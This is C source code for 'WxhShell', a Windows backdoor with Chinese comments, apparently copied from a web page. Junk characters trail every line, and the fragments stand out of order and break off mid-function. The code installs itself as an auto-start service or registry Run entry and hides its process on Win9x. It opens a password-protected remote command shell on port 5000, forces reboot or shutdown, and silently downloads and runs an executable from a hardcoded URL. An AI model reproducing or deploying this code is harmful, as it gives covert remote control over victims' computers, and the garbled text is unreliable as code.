    else { sp QLG_o,J  
    closesocket(wsh); G ){g  
    ExitThread(0); h{}mBQl  
    } [pg}S#A  
    break; |!H?+Jj:  
    } C#i UP|7hh  
  // 关机 {%.Lk'#9  
  case 'd': { 4KI [D{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sM\lO  
    if(Boot(SHUTDOWN)) dQgk.k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aV`&L,Q)7E  
    else { CKlL~f EL  
    closesocket(wsh); [4+q+  
    ExitThread(0); pi@Xkw  
    } fd8!KO  
    break; VW@ x=m  
    } t` 8!AhOgc  
  // 获取shell }wwe}E-e  
  case 's': { K"<*a"1I  
    CmdShell(wsh); JR9$. fGJ  
    closesocket(wsh); (QB+%2v  
    ExitThread(0); tZ2K$!/B  
    break; 2 ?|gnbE:  
  } 0_yP\m  
  // 退出 XM|%^ry  
  case 'x': { `C_'|d<HA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b-@\R\T  
    CloseIt(wsh); 7S$&S;  
    break; PT9v*3Bq~  
    } R4e&^tI@*  
  // 离开 8[bkHfI  
  case 'q': { DF1<JdO+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LS.r%:$mb  
    closesocket(wsh);  >0Ev#cX4  
    WSACleanup();  m@rSz  
    exit(1); Ep~wWQh  
    break; ~2uh'e3  
        } x.$1<w64t  
  } Qbeeq6  
  } zz_[S{v!#  
?4z8)E9Ju  
  // 提示信息 5V-jMB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $R^AEa7  
} Q;h3v1GC\P  
  } o%y;(|4t >  
V+Xl9v4O  
  return; I<h=Cj[[  
} >O]s&34  
8v y G*UK  
// shell模块句柄 {UH9i'y:t  
int CmdShell(SOCKET sock) :DkAQ-<~  
{ ~fzuwz  
STARTUPINFO si; dl l%4Sd  
ZeroMemory(&si,sizeof(si)); noNm^hFL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BH@b1}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UP2.]B!d  
PROCESS_INFORMATION ProcessInfo; */OI *{Q  
char cmdline[]="cmd"; %85Icg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W7UtA.2LT  
  return 0; FA>1x*;c  
} 6J%iZ  
u/AT-e r;  
// 自身启动模式 |V`S >m%N  
int StartFromService(void) =^h~!ovj:  
{ <%bw/  
typedef struct _zC (J  
{ (TSqc5^H  
  DWORD ExitStatus; ~!+h?[miV  
  DWORD PebBaseAddress; \&A+s4c")  
  DWORD AffinityMask; w@]jpH;WX  
  DWORD BasePriority; mVm4fHEYwU  
  ULONG UniqueProcessId; Rt= X% [YL  
  ULONG InheritedFromUniqueProcessId; <>4!XPo%J  
}   PROCESS_BASIC_INFORMATION; "S(X[Y'  
OM9 6`  
PROCNTQSIP NtQueryInformationProcess; 'M'w,sID  
K5 vNhA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -S; &Q'Mt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <fM>Yi5  
s3lJu/Xe{  
  HANDLE             hProcess; @?2n]n6  
  PROCESS_BASIC_INFORMATION pbi; g0#q"v55  
)&Z>@S^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K&pM o.  
  if(NULL == hInst ) return 0; LXhaD[1Rb  
Qp:6= o0:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d$1 #<-yP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4nX(:K}>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %"7WXOv&z  
n@B{vyy  
  if (!NtQueryInformationProcess) return 0; qw:9zYG}qW  
T_L6 t66I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !p% @Deu  
  if(!hProcess) return 0; 0#|7U_n  
t*+! n.p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  t.3 \/  
0K3Hf^>m  
  CloseHandle(hProcess); jmW^`%;7  
:|XCnK0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B!q?_[k,  
if(hProcess==NULL) return 0; |Is'-g!  
Ysk, w,K  
HMODULE hMod; pv$tTWk  
char procName[255]; S|2VP8xY9  
unsigned long cbNeeded; G:Hj;&'2  
Xu<FDjr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pc4R!Tc  
/"0as_L<  
  CloseHandle(hProcess); 2oNV=b[  
u 2lX d'  
if(strstr(procName,"services")) return 1; // 以服务启动 +#v4B?NR  
7t4v~'h;5e  
  return 0; // 注册表启动 w~v<v&  
} <;KRj85"j  
u[`v&e  
// 主模块 i wz` x  
int StartWxhshell(LPSTR lpCmdLine)  M]0^ind  
{ nL;K|W  
  SOCKET wsl; QV)}3pW  
BOOL val=TRUE; Gm@iV,F%R  
  int port=0; T{ nQjYb?  
  struct sockaddr_in door; wG:$6  
UT-ewXh  
  if(wscfg.ws_autoins) Install(); pYGYy'%A'  
FH -p!4+]  
port=atoi(lpCmdLine); ~j}J<4&OvC  
]S]"`;Wh  
if(port<=0) port=wscfg.ws_port; q6)p*}-  
s*{mT6s+T  
  WSADATA data; }B*,mn2N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9L=;KtE1  
| M _%QM.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +G\0L_B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O2@" w23  
  door.sin_family = AF_INET; Q2R-z^pd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \6c8z/O7   
  door.sin_port = htons(port); I3ho(Kdi  
gL,"ef+nM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p[;8  
closesocket(wsl); b.6ZfB,+G  
return 1; T:@7 S  
} BGA%"b  
hOSf'mi  
  if(listen(wsl,2) == INVALID_SOCKET) { 5)x6Q|-u  
closesocket(wsl); toN  
return 1; 4 f3=`[%  
} =u[rOU{X"W  
  Wxhshell(wsl); |<QI%Y$dr  
  WSACleanup(); wV %8v\  
V4oak!}?  
return 0; >~>{;Wq(p+  
dWIZ37w+D  
} |3"NwM>  
$OT}`Te~  
// 以NT服务方式启动 /9TL&_A-T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N7+#9S5fv  
{ jXH0BPa,  
DWORD   status = 0; d"p2Kx'*3  
  DWORD   specificError = 0xfffffff; @!-aR u  
_H/67dcz,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $KH@,;Xz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w+3>DEfz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AAdD\ %JZ  
  serviceStatus.dwWin32ExitCode     = 0; 6BR \iZ  
  serviceStatus.dwServiceSpecificExitCode = 0; u[: P  
  serviceStatus.dwCheckPoint       = 0; U !.~XT=  
  serviceStatus.dwWaitHint       = 0; 0~:e SWz=  
M@5KoMsB9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +0dQORo  
  if (hServiceStatusHandle==0) return; O '@m4@L   
0\ZaMu #  
status = GetLastError(); wFn@\3%l`  
  if (status!=NO_ERROR) AE]i V{p  
{ )fy <P;g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;4R =eI  
    serviceStatus.dwCheckPoint       = 0; HUD7{6}4  
    serviceStatus.dwWaitHint       = 0; <?nB,U  
    serviceStatus.dwWin32ExitCode     = status; e%'z=%(  
    serviceStatus.dwServiceSpecificExitCode = specificError; vx PDC~3;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!9^#c  
    return; @OBHAoz%/  
  } J]$er0`LY  
)Xq@v']%~9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HgS<Vxmq  
  serviceStatus.dwCheckPoint       = 0; K:Mujx:  
  serviceStatus.dwWaitHint       = 0; ,uKs>T^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8Yo-~,Gb  
} Q*,6X*W!~  
b-,]A2.  
// 处理NT服务事件,比如:启动、停止 zZ<ns+h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D l4d'&!  
{ 0P3j+? N%  
switch(fdwControl) -??!@R7V  
{ <[/PyNYK  
case SERVICE_CONTROL_STOP: ]VzqQ=U%  
  serviceStatus.dwWin32ExitCode = 0; p6B .s_G4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #?L(#a$k  
  serviceStatus.dwCheckPoint   = 0; `WP@ZSC6  
  serviceStatus.dwWaitHint     = 0; >a?OXqYP  
  { D$Kz9GVZq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xYT#!K1*  
  } &e/@yu)x,  
  return; AB/,S  
case SERVICE_CONTROL_PAUSE: FGV}5L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 782[yLyv  
  break; s$js5 ou  
case SERVICE_CONTROL_CONTINUE: k, $I59  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4!NfQk>X  
  break; Y] D7i?3N  
case SERVICE_CONTROL_INTERROGATE: 3D]2$a_d  
  break; *(@L+D0N  
}; M@',3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .vCY%0oE  
} ._8xY$l$  
dM$N1DB{U+  
// 标准应用程序主函数 bbfDt^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o+]Y=r2  
{ CpUI|Rs  
g5lmUKlQ$0  
// 获取操作系统版本 % JgRcx  
OsIsNt=GetOsVer(); bE VO<x+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bd@*vu}?}  
%s~NQ;Y  
  // 从命令行安装 N1D6D$s0  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8o*\W$K@  
5KL9$J9k  
  // 下载执行文件 <^H1)=tlF  
if(wscfg.ws_downexe) { Bf D,z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H1aV}KD  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Zc/upd:$N  
} >reaIBT  
Qs}/x[I  
if(!OsIsNt) { v9j4|w  
// 如果时win9x,隐藏进程并且设置为注册表启动 I$3"|7[n  
HideProc(); kX ~-g  
StartWxhshell(lpCmdLine); zbF:R[)  
} ^yEj]]6  
else $|`t9-EA/  
  if(StartFromService()) z5|e\Z  
  // 以服务方式启动 hLDch5J5~  
  StartServiceCtrlDispatcher(DispatchTable); c+,7Zu!  
else x>1iIpBv^  
  // 普通方式启动 aB$y+`f)@  
  StartWxhshell(lpCmdLine); ]Ssw32yn  
VJ~X#Q  
return 0; k"Z"$V2i  
} QN{}R;s  
r`&2-]  
b7W=HR  
(>!]A6^L~  
=========================================== l|R<F;|  
N$=(1`zM=  
;~'cITL  
7G<KrKal  
I]uOMWZs  
(<d&BV-"  
" 'S%} ?#J  
[*Aqy76Qa  
#include <stdio.h> Yj^avO=;  
#include <string.h> 1sIy*z  
#include <windows.h> QK``tWLIg7  
#include <winsock2.h> L5-T6CD  
#include <winsvc.h> $'J6#Vs  
#include <urlmon.h> hJC p0F9O  
L&!g33J&  
#pragma comment (lib, "Ws2_32.lib") Xh7~MU~X  
#pragma comment (lib, "urlmon.lib") YJ$Vn >6Z  
+WU|sAK"  
#define MAX_USER   100 // 最大客户端连接数 IF36K^K  
#define BUF_SOCK   200 // sock buffer [5Y$L  
#define KEY_BUFF   255 // 输入 buffer 8osS OOzM  
A;kw}!  
#define REBOOT     0   // 重启 >m2<Nl}  
#define SHUTDOWN   1   // 关机 z^a6%N  
> hDsm;,/  
#define DEF_PORT   5000 // 监听端口 K#JabT  
Cu ['&_@  
#define REG_LEN     16   // 注册表键长度 +qh< Fj>  
#define SVC_LEN     80   // NT服务名长度 !BvTJ-e)F  
@aqd'O  
// 从dll定义API uK4'n+_>\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }ZM*[j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EL 8N[]RF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [G'!`^V,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pjKl)q  
[6&CloY3  
// wxhshell配置信息 OUIUgej  
struct WSCFG { m! '1$G  
  int ws_port;         // 监听端口 {LB }v;?l  
  char ws_passstr[REG_LEN]; // 口令 9J2q`/6~e  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;mo\ yW1  
  char ws_regname[REG_LEN]; // 注册表键名 Wd^F%)(  
  char ws_svcname[REG_LEN]; // 服务名 Bah.\ZsYQP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r:WgjjA%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R[>;_}5">  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7q2"b?|h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zy!)8<Cgm'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tz0Ttu=xH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >^a"Z[s[  
bD-/ZZz  
}; V~J2s  
qUoMg%Z%l  
// default Wxhshell configuration },Y; (n'  
struct WSCFG wscfg={DEF_PORT, 8~[C'+r  
    "xuhuanlingzhe",   Tk v  
    1, +/~\b/  
    "Wxhshell", ${I@YSU  
    "Wxhshell", RaM#@D7  
            "WxhShell Service", 3w<j:\i  
    "Wrsky Windows CmdShell Service", )-6s7  
    "Please Input Your Password: ", '4^V4i  
  1, _;J9q}X  
  "http://www.wrsky.com/wxhshell.exe", a7v[l04  
  "Wxhshell.exe" lM|WOmD  
    }; @7HOL-i  
+/b4@B7  
// 消息定义模块 A9qO2kq7_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y)4Nydq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !OZh fMVd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^ ]6  80h  
char *msg_ws_ext="\n\rExit."; ~&[P` Z$  
char *msg_ws_end="\n\rQuit."; n?P 5pJ  
char *msg_ws_boot="\n\rReboot..."; xv#j 593  
char *msg_ws_poff="\n\rShutdown..."; <zDw& s2  
char *msg_ws_down="\n\rSave to "; NW4 s'roP  
2YE]?!   
char *msg_ws_err="\n\rErr!"; WKrZTPD'm  
char *msg_ws_ok="\n\rOK!"; X%9xuc  
M ly z><  
char ExeFile[MAX_PATH]; J?Ep Nie  
int nUser = 0; MVeQ5c(  
HANDLE handles[MAX_USER]; YqY6\ mo  
int OsIsNt; >NOYa3  
'd.@4 9  
SERVICE_STATUS       serviceStatus; MZP><Je&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Z7ITvF>  
SAll9W4  
// 函数声明 R&=GB\`:a  
int Install(void); mZ5K hPvf8  
int Uninstall(void); AINFua4A  
int DownloadFile(char *sURL, SOCKET wsh); @6!y(e8"J]  
int Boot(int flag); Qqhb]<z  
void HideProc(void); H+#wj|,+\  
int GetOsVer(void); BWi 7v  
int Wxhshell(SOCKET wsl); wM4g1H%s  
void TalkWithClient(void *cs); \]`(xxt1  
int CmdShell(SOCKET sock); Tx!m6B`Y  
int StartFromService(void); +|"n4iZ!)  
int StartWxhshell(LPSTR lpCmdLine); DN 8pJa  
&!YH"{b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qnfRN'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A%m `LKV~@  
J,=E5T}U^  
// 数据结构和表定义 /XW0`FF  
SERVICE_TABLE_ENTRY DispatchTable[] = W];6u  
{ !VJa$>,  
{wscfg.ws_svcname, NTServiceMain}, x"wM_hl5L  
{NULL, NULL}  ISnS;  
}; x&fCe{5  
sBXk$  
// 自我安装 ~Ro:mH: w  
int Install(void) UH^wyK bM  
{ o&F.mYnqX  
  char svExeFile[MAX_PATH]; O+o%C*`K  
  HKEY key; HToN+z%w3H  
  strcpy(svExeFile,ExeFile); zkMO3w>  
qp_ `Fj:  
// 如果是win9x系统,修改注册表设为自启动 ] xLb )Z  
if(!OsIsNt) { |16BidWi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^R'!\m|FR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'TN{8~Gt*  
  RegCloseKey(key); n#4J]Z@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0l1]QD+Gc5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |p4OlUq  
  RegCloseKey(key); 8`~3MsE"  
  return 0; x5 ~E'~_  
    } vlN. OQ  
  } P[P72WR  
} So 6cm|{  
else { UlN|Oy,  
Sd{"A0[A|  
// 如果是NT以上系统,安装为系统服务 @"0N@gU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K<w5[E9V.  
if (schSCManager!=0) >hL'#;:f#  
{ VaI P  
  SC_HANDLE schService = CreateService ` dUiz5o'  
  ( z57papo  
  schSCManager, v8k ^=A:  
  wscfg.ws_svcname, DPxu3,Y  
  wscfg.ws_svcdisp, BG8)bh k;/  
  SERVICE_ALL_ACCESS, 0o=)&%G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z%9^6kdY  
  SERVICE_AUTO_START, lg  
  SERVICE_ERROR_NORMAL, +95dz?~  
  svExeFile, %y7wF'_Y  
  NULL, ftqW3VW  
  NULL, h-rj  
  NULL, s]%!  
  NULL, K':pU1  
  NULL xAz4ZXj=q  
  ); ~kJpBt7M  
  if (schService!=0) wXZY5-h4  
  { KC-aLq/  
  CloseServiceHandle(schService); _vLT!y  
  CloseServiceHandle(schSCManager); WI!z92qq[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [k=9 +0p  
  strcat(svExeFile,wscfg.ws_svcname); !cq| g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tc(v\|F,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r= | |sZs  
  RegCloseKey(key); BBJ]>lQ  
  return 0; :::f,aCAu  
    } o4f9EJY   
  } molowPI  
  CloseServiceHandle(schSCManager); hJ*E"{xs  
} gO%i5  
} ![!b^:f  
*g41"Cl  
return 1; wP':B AQ4U  
} e CUcE(  
I^Jp )k*z  
// 自我卸载 +&zCmkVC7  
int Uninstall(void) ye7&y4v+  
{ N,,2 VSUr  
  HKEY key; <_q/ +x]8  
j2qfEvU  
if(!OsIsNt) { .u;TeP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P]x+Q  
  RegDeleteValue(key,wscfg.ws_regname); h GXD u;{  
  RegCloseKey(key); *AQbXw]w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /0B ?3&H  
  RegDeleteValue(key,wscfg.ws_regname); {lUl+_58  
  RegCloseKey(key); ;1k0o.3  
  return 0; }t-|^mY>  
  } wSyu^KDz  
} qTMz6D!Q  
} ujqktrhuLb  
else { p% %Y^=z  
Qu\l$/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5o ^=~  
if (schSCManager!=0) qWRMwvN{  
{ [ =2In;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Ej#7\TB]  
  if (schService!=0) ^Jc0c)*  
  { 6b01xu(A[  
  if(DeleteService(schService)!=0) { Y1+lk^  
  CloseServiceHandle(schService); =xet+;~ji  
  CloseServiceHandle(schSCManager); ^ 6|"=+cO\  
  return 0; \)uad5`N  
  } w|o@r%Q#l  
  CloseServiceHandle(schService); QaBXzf   
  } ^v5hr>m  
  CloseServiceHandle(schSCManager); r8 >?-P  
} '="){  
} 1H 6Wrik  
kDa#yN\  
return 1; +rP<m  
} :8wF0n-'  
Ud*[2Oi|R  
// 从指定url下载文件 <ijmkNVS  
int DownloadFile(char *sURL, SOCKET wsh) Z[bC@y[Wb  
{ }0>/G?2Yp  
  HRESULT hr; PW4Wn`u  
char seps[]= "/"; X}Z%@tL  
char *token; .Q)"F /  
char *file; K+OU~SED%F  
char myURL[MAX_PATH]; k ,(:[3J  
char myFILE[MAX_PATH]; @+#p: sE  
+= ~}PF  
strcpy(myURL,sURL); HbDB?s<  
  token=strtok(myURL,seps); ,!4_Uc  
  while(token!=NULL) ?.ihWbW_  
  { qW>J-,61/  
    file=token; #[yl;1)  
  token=strtok(NULL,seps); obolDh a  
  } E_rC"_Zte  
C8q-gP[  
GetCurrentDirectory(MAX_PATH,myFILE); :+!b8[?Z  
strcat(myFILE, "\\"); ;rL$z;}8  
strcat(myFILE, file); ,sl.:C4  
  send(wsh,myFILE,strlen(myFILE),0); 6 74X)hB  
send(wsh,"...",3,0); Qf]!K6eR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M0 8Y  
  if(hr==S_OK) W^Y(FUy~  
return 0; W%cPX0  
else b7j#a#  
return 1; lGhUfhk  
V%=t2+  
} K$]B" s  
e90z(EF?0  
// 系统电源模块 { rn~D5R  
int Boot(int flag) 3R .cj  
{ f BOG#-a}  
  HANDLE hToken; P'~3WL4MKs  
  TOKEN_PRIVILEGES tkp; {HnOUc\4  
o]U ==  
  if(OsIsNt) { ]NsaFDi\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rRel\8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V= PoQ9d  
    tkp.PrivilegeCount = 1; ^]gl#&"D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M6!brj\[|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7^=jv~>wP  
if(flag==REBOOT) { ,u2<()`8D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p2^OQK  
  return 0; )&-E@% \  
} RBwV+X[B  
else { GXVGU-br  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >.4Sx~VH2  
  return 0; kzXW<V9  
} 1j,Y  
  } blv6  
  else { -',Y;0b%  
if(flag==REBOOT) { h%S#+t(Bf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kGP?Jx\PkH  
  return 0; 6suc:rp";  
} 7Y:s6R|  
else { N>Y3[G+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IRa*}MJe  
  return 0; W0k q>s4  
} 8<!9mgh  
} UUq9UV-h  
yr'`~[oSCy  
return 1; e: tp7w 4  
} Q2JjBV<  
amgex$  
// win9x进程隐藏模块 N0C5FSH  
void HideProc(void) rfoCYsX'  
{ o9>X"5CmX  
yI<'J^1C[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I|H mbTXa  
  if ( hKernel != NULL ) owhht98y(  
  { CuNHDYQ&3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ip x:k+J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pp jrm  
    FreeLibrary(hKernel); *p^MAk9=  
  } |t_2AV  
3RUB2c4  
return; }.zn:e  
} jtwO\6 t&  
m>_'f{&u  
// 获取操作系统版本 i^l;PvIF  
int GetOsVer(void) Nfh(2g K+  
{ Op{Mc$5a  
  OSVERSIONINFO winfo; $@Fj_ N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j;.&+.  
  GetVersionEx(&winfo); a\MJbBXv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Be;Zw.|  
  return 1; \Y$NGB=2[  
  else ):@B1 yR  
  return 0; QR)eJ5<  
} -(EqBr@_  
:JYOC+#q7  
// 客户端句柄模块 ] W_T(C*  
int Wxhshell(SOCKET wsl) OH w6#N$\  
{ 8J0tya"z  
  SOCKET wsh; I j /J  
  struct sockaddr_in client; =g:\R$lQ  
  DWORD myID; jg(A_V  
X1"nq]chGy  
  while(nUser<MAX_USER) zqkmsFH{  
{ 1Rh&04O>VL  
  int nSize=sizeof(client); {PKER$C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \!3='~2:=o  
  if(wsh==INVALID_SOCKET) return 1; j3>< J  
LmE-&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A5b}G  
if(handles[nUser]==0) 8TZe=sD~cr  
  closesocket(wsh); mfvQ]tz_+  
else x@=7M'vr%  
  nUser++; ~cjvo?)&e;  
  } DI\sq8J^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rgCId@R  
eMwf'*#  
  return 0; r[x7?cXsW  
} 5tL6R3  
*QX$Mo^E  
// 关闭 socket iu'yB  
void CloseIt(SOCKET wsh) JY,+eD  
{ 4/4IZfznX  
closesocket(wsh); xjYFTb}!  
nUser--; ;z68`P-  
ExitThread(0); =3'wHl  
} _u0dt) $  
7o<RvM  
// 客户端请求句柄 ;/.ZYTD  
void TalkWithClient(void *cs) ~U|te_l  
{ _!C H  
RjT[y: !  
  SOCKET wsh=(SOCKET)cs; jv ";?*I6.  
  char pwd[SVC_LEN]; '};Xb|msU  
  char cmd[KEY_BUFF]; g;pFT  
char chr[1]; -vyC,A  
int i,j; I zT%Kq  
jcj)9;n=!  
  while (nUser < MAX_USER) { Q%a4g  
yWuq/J:  
if(wscfg.ws_passstr) { .1@5*xQ5O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z& %61jGK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +vP1DXtj(  
  //ZeroMemory(pwd,KEY_BUFF); ?2M15Q  
      i=0; c1`o3gb  
  while(i<SVC_LEN) { TsQMwV_h  
MAXdgL[]  
  // 设置超时 Z8x(_ft5  
  fd_set FdRead; C9h8d   
  struct timeval TimeOut; S(Pal/-"  
  FD_ZERO(&FdRead); sYz:(hZS  
  FD_SET(wsh,&FdRead); xASj w?  
  TimeOut.tv_sec=8; xiI!_0'  
  TimeOut.tv_usec=0; y!#1A?|k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Umqm5*P(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #ua#$&p  
?@nu]~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 46vz=# ,6L  
  pwd=chr[0]; 0ode&dB  
  if(chr[0]==0xd || chr[0]==0xa) { UX?_IgJh<"  
  pwd=0; 0V^?~ex  
  break; #E#70vWp\O  
  } -+L1Hid.7  
  i++; ]OVjq ?  
    } by {~gu  
\rpu=*gt  
  // 如果是非法用户,关闭 socket */1z=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &~j"3G;e  
} U+K_eEI0_I  
6jn<YR E-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +RbCa c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aU3&=aN+  
M1^pW 63  
while(1) { qAm%h\  
(HTVSC%=  
  ZeroMemory(cmd,KEY_BUFF); c[5>kQ-nq  
vF_?1|*|  
      // 自动支持客户端 telnet标准   0iYe>u  
  j=0; ' o 5,P/6  
  while(j<KEY_BUFF) { n8?gZ` W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |peZ`O^ ~  
  cmd[j]=chr[0]; GB -=DC6  
  if(chr[0]==0xa || chr[0]==0xd) { lY~xoHT;[  
  cmd[j]=0; I=1tf;Bsi  
  break; AOTI&v  
  } Ei#"r\q j_  
  j++; m,pDjf  
    } $oNkE  
!v^D j']  
  // 下载文件 dLAElTg  
  if(strstr(cmd,"http://")) { x*YJ :t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =$HzEzrw  
